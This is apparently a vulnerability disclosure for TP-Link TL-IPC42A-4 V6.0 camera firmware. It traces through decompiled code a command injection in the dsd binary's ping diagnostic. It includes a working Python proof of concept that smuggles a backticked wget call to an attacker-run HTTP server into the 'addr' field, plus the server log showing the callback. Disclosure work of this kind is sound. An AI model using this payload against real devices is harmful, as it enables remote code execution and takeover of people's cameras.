TP-Link TL-IPC42A-4 V6.0 CI vulnerability

Product Information

```
Brand: TP-Link
Model: TL-IPC42A-4
Firmware Version: V6.0(1.0.16)
Official Website: https://www.tp-link.com/
Firmware Download URL: https://resource.tp-link.com.cn/pc/docCenter/showDoc?id=1654576617532618
```

Affected Component

```
dsd binary ping Function
```

Vulnerability Details

In the sub_2E48C function, a diagnose feature exists, and execution enters sub_2E374 when the parameter dependencies are satisfied.

```
1  int __fastcall sub_2E48C(int a1, int a2)
2  {
3    int v4; // r4
4    int v5; // r0
5    int v6; // r2
6    int v7; // r0
7    _DWORD v9[32]; // [sp+0h] [bp-80h] BYREF
8
9    memset(v9, 0, 0x70u);
10   if ( a1 && a2 && jso_is_obj(a2) )
11   {
12     memset(v9, 0, 0x70u);
13     v4 = sub_2DE20(a1, v9);
14     if ( v4 )
15     {
16       printf("\t [dsd] %s(%d): ", "diagnose_oneclick_start", 802);
17       printf("load ping address failed");
18       v4 = -69055;
19       v5 = putchar(10);
20     }
21     else if ( jso_obj_get_string_origin(a2, "type") )
22     {
23       v5 = sub_2E374(a1, v9, v6);
```

When other parameter conditions are satisfied, execution proceeds to sub_2D85A.

```
1  int __fastcall sub_2E374(int a1, int a2, int a3)
2  {
3    int v3; // r4
4    int v6; // r5
5    int v7; // r6
6    int v8; // r7
7    _BYTE *v9; // r3
8    int v10; // r1
9    int v11; // r2
10   int v12; // r4
11   int v14; // [sp+0h] [bp-28h] BYREF
12   int v15; // [sp+4h] [bp-24h]
13   int v16; // [sp+8h] [bp-20h]
14
15   v16 = a3;
16   v3 = 0;
17   v14 = 0;
18   v15 = 0;
19   v6 = jso_new_obj(a1);
20   if ( v6 )
21   {
22     v7 = a2;
23     v8 = -1;
24     jso_add_string();
25     jso_add_int(v6, "num", 4);
26     jso_add_int(v6, "size", 64);
27     jso_add_int(v6, "timeout", 2);
28     do
29     {
30       v9 = *(v7 + 24);
31       if ( *v9 || v9[16] )
32       {
33         v14 = 0;
34         v15 = 0;
35         if ( v3 )
36           snprintf(&v14, 8u, "addr_%d", v3);
37         else
38           strncpy(&v14, "addr", 8u);
39         jso_add_string();
40         if ( *(*(v7 + 24) + 96) )
41           v8 = v3;
42       }
43       ++v3;
44       v7 += 28;
45     }
46     while ( v3 != 4 );
47     v12 = sub_2D85A(a1, v6);
48     if ( v12 )
49     {
50       printf("\t [dsd] %s(%d): ", "network_diagnose", 736);
51       printf("ping failed, res: %d, abort telnet", v12);
52       putchar(10);
53     }
```

When the diag_type parameter is ping, through a series of executions, the parameter corresponding to addr is eventually passed to the system function, causing a command injection vulnerability.

```
174   v24 = jso_obj_get_string_origin(a2, "diag_type");
175   v25 = v24;
176   if ( !v24 )
177   {
178 LABEL_49:
179     v23 = -40102;
180     goto LABEL_50;
181   }
182   v26 = strcmp(v24, "ping");
183   if ( !v26 )
184   {
185     jso_obj_get_int(a2, "num", &v35);
186     v27 = 0;
187     jso_obj_get_int(a2, "size", &v36);
188     jso_obj_get_int(a2, "timeout", &v37);
189     memset(s1, 0, 0x140u);
190     while ( 1 )
191     {
192       *dest = 0;
193       v44 = 0;
194       if ( v27 )
195         snprintf(dest, 8u, "addr_%d", v27);
196       else
197         strncpy(dest, "addr", 8u);
198       v28 = jso_obj_get_string_origin(a2, dest);
199       v29 = v28;
200       if ( !v28 )
201         break;
202       v30 = strlen(v28);
203       if ( !sub_17440(v29, v30) )
204         goto LABEL_60;
205       v26 += 2 + strlen(v29);
206       if ( v26 < 320 )
207       {
208         strcat(s1, v29);
209         strcat(s1, "\\;");
210       }
211       else
212       {
213         printf("\t [dsd] %s(%d): ", "diagnose_start", 214);
214         printf("total ip/domain length are out of range, don't ping left ip/domain");
215         putchar(10);
216       }
217       if ( ++v27 == 4 )
218         goto LABEL_58;
219     }
220     if ( !v27 )
221       goto LABEL_49;
222 LABEL_58:
223     snprintf(s, 0x140u, ". /lib/diagnosis/ping.sh %d %d %d %s&", v35, v36, v37, s1);
224     system(s);
```

Attack

```
┌──(kali㉿kali)-[~/Desktop/work/test]
└─$ python -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/)
192.168.31.200 - - [24/Dec/2025 19:44:07] "GET /JZP.txt HTTP/1.1" 200 -
```

POC

```python
#!/usr/bin/env python3
import requests

url = "http://192.168.31.200/stok=your_stok_value_here/ds"

headers = {
    "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0)
Gecko/20100101 Firefox/113.0",
```

```
    "Accept": "application/json, text/javascript, */*; q=0.01",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate, br",
    "Content-Type": "application/json; charset=UTF-8",
    "X-Requested-With": "XMLHttpRequest",
    "Origin": "http://192.168.31.200",
    "Referer": "http://192.168.31.200",
    "Connection": "close"
}

data = {
    "diagnose": {
        "start": {
            "diag_type": "ping",
            "addr": "www.baidu.com`wget
http://192.168.31.166:8000/JZP.txt`",
            "num": "4",
            "size": "64",
            "timeout": "1"
        }
    },
    "method": "do"
}

try:
    response = requests.post(
        url,
        headers=headers,
        json=data,
        timeout=30
    )

    print("Status Code:", response.status_code)
    print("Response Headers:", response.headers)
    print("Response Body:")
    print(response.text)

except requests.exceptions.RequestException as e:
    print("Request failed:", e)

```

Suggested description

TP-Link TL-IPC42A-4 V6.0 has a CI vulnerability in the dsd binary.